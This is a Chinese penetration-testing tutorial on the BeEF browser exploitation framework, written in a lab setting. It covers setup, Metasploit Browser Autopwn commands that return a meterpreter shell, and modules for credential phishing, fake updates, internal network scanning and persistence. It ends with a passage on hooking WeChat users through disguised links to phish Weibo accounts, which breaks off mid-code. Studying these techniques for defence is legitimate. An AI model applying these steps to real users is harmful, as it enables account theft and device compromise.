# 浏览器利用框架BeEF测试 0x00 前言 ======= * * * BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。 目前对其测试的文章不是很多,所以希望通过本次测试给大家带来全新的认识。 ![这里写图片描述](https://superkieran.github.io/wooyun-img/68e7f4893eb8c37f9d32414f709e3a2106db1940.jpg) 0x01 简介 ======= * * * 工具主页:[http://beefproject.com](http://beefproject.com/) 工具框架: ![这里写图片描述](https://superkieran.github.io/wooyun-img/06ff4eabfc20602671192c3ccf2dc0831cb2556e.jpg) 0x02 测试环境 ========= * * * 攻击主机: ``` 操作系统:Kali 1.0 IP:192.168.16.245 ``` 测试主机: ``` 操作系统:Win7x86 IP:192.168.16.197 ``` 路由器: ``` WooyunWifi 开启JS注入功能 ``` ![这里写图片描述](https://superkieran.github.io/wooyun-img/1f0092881dcb1c24b99540d30576d6f8b73e5ae9.jpg) **_Tips:_** ``` WooyunWifi开启JS注入功能后会对用户访问的页面加入JS代码,如果JS代码设置成如下格式,那么运行后会在BeEF控制端返回一个shell document.write(""); 默认情况下JS注入附带缓存投毒功能,将视图缓存所有的页面至2099年,但可以通过清除所有缓存及浏览数据来清除缓存投毒的影响。 ``` ![这里写图片描述](https://superkieran.github.io/wooyun-img/207ac0a0029ed164b5954705a5bbd714b4a66e33.jpg) 0x03 BeEF参数配置 ============= * * * BeEF在Kali下默认安装,直接找到对应图标启动即可,但是默认设置未同Metasploit关联,无法使用msf模块,因此需要作如下配置连接msf 1、修改config.yaml --------------- 编辑 `/usr/share/beef-xss/config.yaml` ``` metasploit: enable: false改为true ``` ![这里写图片描述](https://superkieran.github.io/wooyun-img/ee9ef3f8df70142f794203f1e835a67929f1bff1.jpg) 编辑 `/usr/share/beef-xss/extensions/demos/config.yaml` ``` enable:true改为false ``` 编辑 `/usr/share/beef-xss/extensions/metasploit/config.yaml` ``` 设置 ssl: true ssl_version: 'TLSv1' ``` ![这里写图片描述](https://superkieran.github.io/wooyun-img/7a6b622612f764a800b5221f397d637ad0c036e3.jpg) 2、启动msf服务 --------- ``` service postgresql start service metasploit start msfconsole load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y ``` 3、运行BeEF.rb ----------- ``` cd /usr/share/beef-xss/ /usr/share/beef-xss/beef ``` (启动后不要关闭,不然登录界面会提示密码错误) ![这里写图片描述](https://superkieran.github.io/wooyun-img/3a18591f698922fcc5218e6f7ecfcbd2b62426cd.jpg) 4、启动BeEF -------- 弹出浏览器,输入默认用户名口令beef,即可登陆 主界面如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/c0fc59eaf291f59923134cef3de1e711f9266ba8.jpg) 0x04 功能介绍 ========= * * * 对基本功能做全面介绍,高级用法以后会做补充 1-信息收集 ------ **1、浏览器信息**可收集: ``` 浏览器名称版本 浏览器用户版本 插件(包括Java,ActiveX,VBS,Flash……) 窗口大小 ``` 收集方法: (1)自动默认收集信息 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/677e8112aa3467049058c4abbb630bb16ae037c3.jpg) (2)插件收集信息 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/8d48dfd3eb57b255eb96f7d56bfb7ef0f74a667a.jpg) **_Tips:_** ``` 模块图标不同颜色对应不同的使用效果 绿色:适用当前浏览器 橙色:适用当前浏览器,但易被用户发现,social engineering模块默认为橙色 红色:不适于当前浏览器,但仍可尝试 ``` **2、系统信息** 可收集: ``` 安装的软件(适用于IE下,Detect Software模块) 注册表键值(适用于IE下,此时会弹出提示消息) 内网IP(Java模块得到授权) 系统详情(通过JavaApplet获取系统版本、Java VM details、NIC names and IP、处理器、内存、屏幕显示模式) 定位(通过Google maps) 剪贴板信息(会弹出提示消息) ``` 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/eaf68299ba7a705a0af5e9edf41841aa55559fc6.jpg) ![这里写图片描述](https://superkieran.github.io/wooyun-img/0f6f8803cc86827b4129c0aec5c56b0197f4ee59.jpg) ![这里写图片描述](https://superkieran.github.io/wooyun-img/7cafc26bfc37c422b846bbbb581cfad042ee2b19.jpg) **3、用户行为** 可收集: ``` 用户是否访问过某URL、domain 是否登录特定网站账号 是否使用TOR ``` 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/9b7d1abcbc5e24f0b4f072033bf7a4f898f5f2ee.jpg) 2-社会工程 ------ 如果使用BeEF控制了浏览器,那么就可以修改整个页面来尝试社会工程学 **1、提交登录信息** 简单粗暴往往是最有效的 **Pretty Theft模块:** 在网页弹出诱骗消息需要用户输入登录和密码,并解释该会话已超时 选择的登录框模板,如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/663d8579ab779611f0bd226f4b7e8e27989ccc74.jpg) 配置后用户浏览器界面,如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/84d95d1d6e40c2178f6dad32cb37d831dec7046c.jpg) 当用户输入信息后,自动获取,如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/1267f16bc175d92cd0ae430db2f045eae6fa5748.jpg) **Simple Hijacker模块:** 劫持网页上面的所有链接,当用户点击任意链接时弹出诱骗消息,如果用户接着点击会跳转到指定域名 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/7dda58a74d78e466becccd95ce6cc26ae9f11468.jpg) ![这里写图片描述](https://superkieran.github.io/wooyun-img/7e8ffcbb9700e873d8618a8ec99b6892b6f5eace.jpg) **Clippy模块:** 创建一个浏览器助手提示用户点击 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/a9b24c6921f7022f875a1d8224cc61a9e4c5157b.jpg) **2、重定向** **Rediret Browser模块:** 将当前页面重定向至指定页面,有可能导致当前权限丢失 **Rediret Browser(iframe)模块:** 将当前页面重定向至指定页面,,同时保留当前连接,可以维持当前浏览器权限 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/7fa2c24afb59124ade07f0e445e8d72d6e1d04f6.jpg) ![这里写图片描述](https://superkieran.github.io/wooyun-img/ab2fb631bb2d64472fab066666952930dbd46a33.jpg) **TabNabbing模块:** 当检测用户不在当前页面时启动定时器,倒计时结束后自动重定向至指定页面 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/f380c33d9ded2f253e4fb272e2f9d04e46139837.jpg) **3、Chrome/Firefox extensions** **Fake Flash Update模块:** 提示用户安装Adobe Flash Player的更新,用户点击后会下载指定文件 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/9d5f5b3a2e3cf028455c1b3cc7817a30b8b82285.jpg) **Chrome Extensions 系列:** 值得尝试 ![这里写图片描述](https://superkieran.github.io/wooyun-img/5f6621f08f215ede7a53d1f3de079eed0130832e.jpg) **4、补充** **Clickjacking模块:** 可以使用multi-click clickjacking,判断当前用户鼠标位置,在不同位置可触发不同JS代码 如图,鼠标后面跟随一个iframe ![这里写图片描述](https://superkieran.github.io/wooyun-img/ed9eeb18e402de623b3f8d174e91534a990a197a.jpg) ![这里写图片描述](https://superkieran.github.io/wooyun-img/543733de50602b4d53dffe9745ebcca76ede6d45.jpg) 3-网络扫描 ------ 通过JavaScript,可以尝试利用浏览器扫描内网 **1、获取内网IP** **Get Internal IP WebRTC模块:** 通过WebRTC获取内网IP **Get Internal IP模块:** 通过Java Socket class获取内网IP **2、识别局域网子网** 识别内网网关,如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/1fd492832dc0b51e24252c76aad1357476036669.jpg) **3、识别HTTP Servers** 识别内网web servers **4、ping操作** 调用ping命令扫描内网 **Ping Sweep模块 Ping Sweep (Java)模块** 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/e41d63b9601e3b7d2065f397420bbd0dbad0381b.jpg) **5、跨域扫描** **6、DNS枚举** 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/6e877c158b64f60d07f21bcb5f93abefb066d34c.jpg) **7、端口扫描** **Port Scanner模块** 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/1a6bf89756d313fa8d9348ecb8627898ce113b5b.jpg) ![这里写图片描述](https://superkieran.github.io/wooyun-img/21f687b7c768119dda4b6831aed6a1fb1f62700b.jpg) **8、网络指纹特征扫描** 用来扫描内网中的Web服务器和网络设备 **Fingerprint Network模块** 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/c20525022470867a59865ee3e83ee9cf66b8b161.jpg) **9、Remote CSRFs** **10、IRC NAT Pinning** 模拟浏览器的IRC通信,可用来绕过防火墙 **11、网络拓扑** BeEF可根据扫描获得的信息绘制内网网络拓扑 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/eb3631dddf9f319db71904f8d4f0f4e110fbb962.jpg) ![这里写图片描述](https://superkieran.github.io/wooyun-img/07bdf7d3ff47754198b74f782e96e9d35f6a98e7.jpg) ![这里写图片描述](https://superkieran.github.io/wooyun-img/f0df8dec37787421e9c9b8eb30eff1afd7c31105.jpg) 此部分会在以后详细介绍 4-结合Metasploit -------------- **1、Metasploit系列模块** 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/0db557bf633a0ad166ac945110422ac4666be8b2.jpg) **2、Browser Autopwn** 反弹回meterpreter 方法: **(1)**使用Metasploit的Browser Autopwn功能生成BrowserAutoPwn URL ``` use auxiliary/server/browser_autopwn show options set LHOST 192.168.16.245 set SRVHOST 192.168.16.245 set SRVPORT 8881 run -z ``` 生成一个链接,如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/6a3072d55750ddedc48726f64a77bca1f790bfa6.jpg) ![这里写图片描述](https://superkieran.github.io/wooyun-img/4c08677fff0d2dfe6a596aa800d43a67267edf08.jpg) **(2)**使用"Create Invisible Iframe"模块加载autopwn页面 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/b0d3b3162be3db3050697e10641573c43ecc40b6.jpg) **(3)**等待弹回shell ``` sessions -l ``` 5-Tunneling ----------- 代理功能 方法: **1、**选择控制的浏览器 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/f5d510a4f15bcd94c6614caa40a30be8d1298f74.jpg) **2、**浏览器代理设置 HTTP Proxy:127.0.0.1 Port:6789 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/6bb72008c6b030ed27692524dc8a9248a7c33c3d.jpg) 细节以后补充 **3、**访问同样网站,查看本机浏览器页面同被控浏览器页面内容是否相同(即不需要cookie可实现登录账号) 6-XSS ----- 如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/7d5ae2f907c1e30b0d8036411dee9ffc5f39d4c1.jpg) 细节以后补充 7-维持权限 ------ **1、Create Pop Under模块** 创建一个新窗口,如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/763b38784243793ac43491c1d7cd47bca278fc56.jpg) 反弹一个新权限,如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/e7b95c2dcb54c99612e1188655554b4d7f8eeaa2.jpg) **2、Confirm Close Tab模块** 当用户关闭当前页面时,反复弹出确认是否关闭页面的消息 **3、Create Foreground iFrame模块**修改当前页面所有链接来避免离开当前页面 比如用户点击某个连接,会将新页面显示在当前页面上面,注意的是网址不会发送改变,如图: ![这里写图片描述](https://superkieran.github.io/wooyun-img/5fef55c47f5d8d182199b85515b9a4ebf2c8bbdb.jpg) 正常访问的页面为:(注意看地址栏) ![这里写图片描述](https://superkieran.github.io/wooyun-img/a70a9cc8c8e309a6928686754075ee999d0fd3f0.jpg) **4、Man In The Browser模块** 可拦截修改页面内所有链接,当用户点击当前页面的任意链接后仍可维持权限(必须是同源的页面) 如果用户手动更改URL地址栏,无法维持权限 0x05 小结 ======= * * * 本文仅对BeEF的基本功能做了全面介绍,更多高级技巧很值得研究,例如利用BeEF内网渗透,利用代理不通过cookie登陆账户突破IP限制绑定等等。 测试过程难免会有疏忽遗漏,理解错误的地方欢迎指正,共同进步。 本文由三好学生原创并首发于乌云drops,转载请注明 0x06 补充 ======= * * * 对手机平台的微信使用BeEF进行模拟测试 手机系统: ``` Android ``` 1、上线方法: ------- **1、扫描二维码** 扫描后在BeEF控制端看到手机上线,如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/2b84f61cd2502e28dade35ab8259df6bc307cf5d.jpg) 对此页面进行Google Phishing欺骗,如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/9339fe3b250cdda225ce8d1b938aafaa72bb29b7.jpg) **注:** 在微信上面特别的地方在于此处无法看到包含的真实URL地址 **2、朋友圈分享** 将BeEF的上线地址做一下简单的伪装并分享到朋友圈,如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/134b554d846923dca6ed846ff3dcc236a47ccf8f.jpg) 在朋友圈中同样无法看到包含的真实URL地址,打开即为BeEF的hook页面,如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/d232bcbba09c7e764bad3cdc4f4ac9a7c9dca995.jpg) **3、朋友发来的链接** 将此消息直接发给朋友,如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/1f2a045945f87168eacae579ed32b70eb7e48155.jpg) 我们可以看到伪造前的URL地址 **注:** BeEF的hook页面可以自定义成更具欺骗性的内容,这是为了演示方便使用默认界面 2、微信浏览器被Hook后可以做哪些操作 -------------------- 也许有人会提出疑问:手机打开网址持续的时间很短,关闭当前页面后BeEF的shell就会下线 **解决方法:** 使用BeEF API,用户上线后能够自动执行批量命令,结合Persistence模块能够极大提高shell存活时间 除了与windows系统相关的信息无法获取,其他操作均能成功执行,并且BeEF为手机劫持提供了专门的模块系列——Phonegap,如图 ![这里写图片描述](https://superkieran.github.io/wooyun-img/f35921f8e5a2c78b294a463e0fd5297665807a00.jpg) 以下是经测试可以在Android上使用的模块: ``` 1、弹框 2、重定向 3、查看是否访问过某些网站 4、Creates an invisible iframe 5、Social Engineering系列,如下图,仅作演示 6、msf系列 7、NetWork系列,可以用来扫描同一内网下的windows主机 ``` ![这里写图片描述](https://superkieran.github.io/wooyun-img/7ca5231cf9666986ddfc0109a2dad6a39ef3466e.jpg) **注:** 加载hook页面后,将手机屏幕关闭处于待机状态,BeEF仍然可以执行指令,或许这与手机系统相关,值得以后深入测试。 0x07 利用朋友圈投票社工微博帐号实例 ==================== * * * 1、伪造BeEF的hook页面 --------------- **1、寻找模板** 随机找到一个投票的页面,保存为html ``` http://mp.weixin.qq.com/s?__biz=MzA3MTM0NTgyNw==&mid=400240804&idx=1&sn=d87655d4c67a8f39fc84b3cdcb4c1895&scene=1&srcid=1024yDcPJI2to0i3DmiVmj1L&from=groupmessage&isappinstalled=0#rd ``` **2、替换hook页面** 在`use/share/beef-xss/extensions/demos/html`目录下,将上述html文件命名为basic.html并添加以下代码 ``` var commandModuleStr = '